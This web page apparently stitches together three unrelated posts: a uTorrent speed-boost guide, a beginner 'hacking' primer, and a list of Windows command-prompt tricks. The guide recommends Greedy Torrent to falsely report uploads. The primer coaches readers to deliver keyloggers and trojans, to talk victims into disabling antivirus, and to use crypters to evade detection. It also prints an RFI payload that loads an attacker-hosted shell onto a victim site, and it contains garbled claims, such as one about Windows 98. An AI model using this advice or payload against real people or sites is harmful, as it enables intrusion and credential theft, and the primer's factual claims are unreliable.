Increase Your uTorrent v3.4.2 Download Speed to 1 Mbps




Almost every one of us has used Torrent to download files. In some cases, depending upon various factors, the speed is high or low. Generally, more seeders increase the download speed. However, even if there are hundreds of seeders the speed seems too low. In this tutorial, I will teach you how to increase the speed to download files with lightning blaze.

Follow the below systematic instruction precisely:

1. Open your uTorrent 3.1.3 and click on the option located at top left corner.
2. From the options, choose Preference. It is the first from the drop down list.
3. After you have chosen preference, a window will open.
4. On the left side, there are various settings. Choose connections. In the section ‘Port used for Incoming connection’ change the number to ‘45682’.
5. Next, choose Bandwidth, which is below connection. Here we have to change almost everything. First, change the maximum upload rate to one. Change the maximum download rate to zero. Then finally, at the bottom; change global maximum number of connections to 130, Maximum number of connected peers per torrent to 130 and number of uploads per torrent to three.
6. Below bandwidth, you will find Bittorrent. Click on it, change protocol-outgoing encryption as enabled, and check ‘Allow incoming legacy connections.
7. Click on Queuing. Do the following changes: maximum number of active torrents (upload or download) to 60 and maximum number of active download to 63. Coming to Seeding Goals (default values); change minimum ratio% to 150, minimum seeding time zero and minimum number of available seeds as zero.
8. Finally click on ‘Advanced’. Do the following changes: change the value of bt.allow_same_ip to true. To change the value bt.allow_same_ip, click on it and then choose from below. Scroll further below and find net.outgoing_port. Click on it and change the value to 80. Here it is crucial that you press ‘set’ after changing the value or the change won’t take effect. Scroll further below, find rss.update_interval, and change the value to zero. Again, do not forget to press set.
We are done with uTorrent settings. To give the last touch we need Greedy Torrent. This is an application, which will provide false information that you have uploaded 5 MB for every 1MB. Just download the application and change ‘Report my Upload as’ to 5.90. That is it. We are ready to go now. Close Greedy Torrent (it will run in the background) and start downloading your uTorrent file with high speed that before.

Complete Hacking Information



Introduction:


We see a millions of people going to different forums and websites and asking "how do i hack an email?", "Can you hack blah for me?". So thought to create a tutorial which will give you the basic idea about what the heck is a "HACK", and how to DEFEND YOUR SELF AGAINST HACKERS. 


Background:


Hacking started way too far when the windowsd 98 was designed. Hacking is basically finding out the loop holes and trying leak some information out of it, which may lead you to get some critical information like passwords, credit card details. Sometimes hacking is done just because of the personal offesnses.

Initialization:


Getting back to the main point, I am going to discuss some of the ways of hacking in brief. Hacking is basically bifurcated in 2 major parts.

1. Email or the user information
2. Web based hacking.

Email or user information:


These days the most commonly used and famous way of hacking user information like Emails, Passwords, Credit card details are as follow:

a. Phishing
b. Brute Forcing
c. Keylogging
d. Trojans

a. Phishing:

Phishing is basically a massive attack. What a hacker does is, they created an absoulutely look alike page of some website like yahoo or gmail. They upload it to their own server. And give the link to any n00b user. When they open it, they think that they are on the yahoo or gmail page, they put in their username and password, click on submit and WHOA! your information has been submitted. This is widely used by new people trying to entering into ahcking world.
Most recent example in india was some scam with ICICI bank, lots of user info was stolen as far as i remember. I read it somewhere in the news paper and was thinking what the hell! ?

Disadvantages: Still many people give it a try before going for phishing, because the only problem in phishing is, even if the victim knows a little about internet, he will read the URL and understand that it is not a genuine website.
b. Brute Forcing
Brute forcer is basically a program which could be called as a "cracker". In brute forcer you put the username you want to hack, and as a password you put a notepad file which has almost all of the existing english words in it. So what it does is, it will try each and every word from that file and see if anything matches. You might have noticed some topics like "huge pass list" on different forums, they are nothing but the password list to put into your bruteforcer.!

Disadvantages:
1. Sometimes brute forcing may just go for ages!
2. It isnt guaranteed
3. These days many people have alpha-numeric-symbol password which is real tough for brutefocer to detect
4. Most of the famous sites like yahoo, gmail are designed in such a way that it will put the "image captcha" after 3 incorrect login attempts, which stops the bruteforcer.

P.S:- I have made some focused FTP, Gmail & Yahoo bruteforcers which are avilable on my website.
c. Keylogging
Keylogger helps you to create a little filed which is known as "server". You gotta send your server to the victim. he has to click on it and then YOUR DONE! this is what happens.
Best possible way to hack someone. Keyloggers are basically a program which will install themselves in your victim's computer and will keep on recording each and every keystroke pressed by the victim on his keyboard and it will send it to the hacker. There are many ways to receive the keystroke i.e. FTP, Email, Messengers. According to me this is the best way to trick your victim and get their information.

Disadvantages :
1. When victim receives the keylogger, in most of the cases, their anti virus would auto delete them. So you have to convince them to desable the anti virus by bluffing something.
2. Sometimes firewall blocks the keylogs from being sent.

Tips :
1. There are some programs which are known as "crypters" which will help you to make your server's undetectable. So your victim's anti-virus would not be able to detect them.
d. Trojans:
Trojans are like father of keyloggers. Trojan sends you the keylogs just as keyloggers, on top of that, it lets you take the control of victim's computer. Edit / delete/ upload / download files from or to their computer. Some more funny features like it will make their keyboard go mad, it may kep on ejecting and re-inserting the cd ROM. Much more..

Disadvantages :
Same as keyloggers.

Tips :
Same as keylogger.

Web Hacking:


I will discuss some most commonly used web hacking techniques which helps hackers to hack any website. This will help you to SAVE YOUR SITE!

1. SQL Injection
2. XSS
3. Shells
4. RFI
5. There are some more but they are TOOO big to be discussed in here.

1. SQL Injection:

Most of the websites these days are connected to an SQL Database. Which helps them to store usernames and passwords [encrypted] when a guest registers to their website. SQL database processes a querie everytime a user logs in. It goes to the database, validates the password, if its correct then it logs in the user and if its not then it gives an error.
So the basic funda is executing a command to parase a query in the database to try to exploit the internet information of the database. I cant really put the entire tutorial about because this is the most complicated way to hack the website!

P.S.:- If you wanna check if YOUR website is vulnerable to RFI attach or not then do the following .

If your site's URL is:

Code: yoursite.com/index.php?id=545
           just add a ' like this at the end 
Code: yoursite.com/index.php?id=545'
2. XSS:
XSS is another nice way to hack some website. Suppose if some website/ forum is allowing HTML in the post or articles, then a hacker can post a malicious script into the content. So whenever a user opens up the page, the cookies would be sent to the hacker. So he can login as that user and shit the website up. 
3. Shells:
Shell is a malicious .php script. What you have to do is, find a place in any website where you can upload any file like avatars, recepie, your tricks, your feedbacks. And you try to upload your shell files from there. And if its uploaded then WHOA!you open it from the URL bar and u can see the entire "FTP" account of that webhosting. You can rename/edit / upload/download anything u want including the index page.
This is also known as deface.
4. RFI:
RFI is a good way to deface a website. It is used with shell. Suppose you have uploaded your shell on:
Code: 
               yoursite.com/shell.txt

           and you found a vulnerable site to RFI... then you can do as follow: 
 Code: 
victimssite.com/index.php?page=yousite.com/shell.txt
          This will again give u the access of your victim's sites FTP , just as shell so you can do anything you want.

P.S.:-If you wanna check if YOUR website is vulnerable to RFI attack or not then do the following:

If your site's URL is:

Code:  
               yoursite.com/index.php?id=545 
         
          just add something like this at the end  
Code: 
yoursite.com/index.php?id=http://www.google.com
         And if it includes the google page into your page, that means its vulnerable to RFI.

Best Command Prompt Tricks & Hacks for Windows


15 Command Prompt Tricks & Hacks-

Save A List of Files to a Text File by Extension

dir *.ext /s /b > files.txt
This command line will create a file called files.txt. When you open this file, there will be a complete list of all the files in that directory and all subdirectories with the .extextension. You can then open up this text file in any text editor and work this the information.By changing the ext part, you can select different files. For example, if you wanted to list all of the PDF documents, you would type:
dir *.pdf /s /b > files.txt

Get Your IP Address Information

ipconfig /all
This will retrieve a pile of information about your network connection and IP information. From this command, you can get:
  • Host Name
  • Primary DNS Suffix
  • Node Type
  • IP Routing Enabled
  • WINS Proxy Enabled
  • DNS Suffix Search List
  • Connection-specific DNS Suffix
  • Network Adapter Description
  • Physical (MAC) Address
  • DHCP Enabled
  • IP Address
  • Subnet Mask
  • Default Gateway
  • DNS Servers

Get Installed Driver Information

driverquery
It can be very useful when troubleshooting to know what drivers are installed on a system. This command will give you a complete listing of the drivers and when they were installed.


Copy Files Via Infrared Port

irftp filename.ext
This will fire up the Wireless Link dialog so that you can copy the specified file via an infrared port.


Find Files Opened By Network Users

openfiles /query
If you are running a system and you want to know who has files open on your computer, this command will provide you a list of those users and the files that they have open.
Note: If you get an error saying The system global flag ‘maintain objects list’ needs to be enabled to see local opened files, you can fix this issue by typing openfiles /local on. You will have to reboot the system but it will resolve the issue.

Monitor Port Activity

netstat -a 30
This will show you all of the TCP/IP ports that are being used on your system and what they are connecting to (or being connected from). It will continue to monitor these ports and refresh the information every 30 seconds. You can change the refresh rate by changing the number at the end of the command.

Recover Information From A Corrupt File

recover filename.ext
If you have a disk with damaged sectors, you can attempt to recover as much information as possible from the damaged file. Data that is not damaged can be retrieved but data in damaged sectors will be lost.

Defragment Remote Computer

rexec remotePC defrag C: /F 
This command used the rexec command to force a defragment of the C: drive on the computer named remotePC. You can use whatever you want to for the command (I just used defrag C: /F as an example). This is very useful for remote maintenance.


Retrieve Detailed System Information

systeminfo
With this command, you can retrieve the following information:
  • Host Name
  • OS Name
  • OS Version
  • OS Manufacturer
  • OS Configuration
  • OS Build Type
  • Registered Owner
  • Registered Organization
  • Product ID
  • Original Install Date
  • System Up Time
  • System Manufacturer
  • System Model
  • System type
  • Processor(s)
  • BIOS Version
  • Windows Directory
  • System Directory
  • Boot Device
  • System Locale
  • Input Locale
  • Time Zone
  • Total Physical Memory
  • Available Physical Memory
  • Virtual Memory Max Size
  • Virtual Memory Available
  • Virtual Memory In Use
  • Page File Location(s)
  • Domain
  • Logon Server
  • Hotfix(s)
  • NetWork Card(s)

Automatically Defragment C: Daily

schtasks /create /tn "Defrag C" /tr "defrag c: /f" /sc daily /st 23:00:00 /ru "System" 
This will set your computer to automatically perform a complete defrag of the C: drive each day at 11:00:00 PM (23:00:00). It does this by creating a scheduled task calledDefrag C. It will run this command under the computer’s system account.


Map A Drive Letter to a Folder

subst W: C:\windows
Sometimes, your directory structure can get pretty deep and complicated. You can simplify this a bit by mapping a drive letter to commonly used folders. In the example that I have given, this will create a drive letter W: and map it to the C:\windows directory. Then, whenever you go into My Computer, you will see a W: drive and when you browse to it, it will automatically take you to the contents of the C:\windows folder.
You can do this with any unused drive letter and any folder that exists on your system.


List All Tasks Running On The Computer

tasklist 
It’s always good to know what is running on your system. This is the command line version of the processes tab in Taks Manager.


Kill A Program

taskkill /im programname.exe /f 
If, when using the tasklist command, you discover that there is something running you just want killed. This is the way to do it! Just note the program name and use it in place of programname.exe.


Reboot a Remote Computer

shutdown -r -f -m \\remotePC -c "System will be rebooted in 20 seconds"
Sometimes, you just need to reboot a system. This will do it remotely and give the user a 20 second warning.
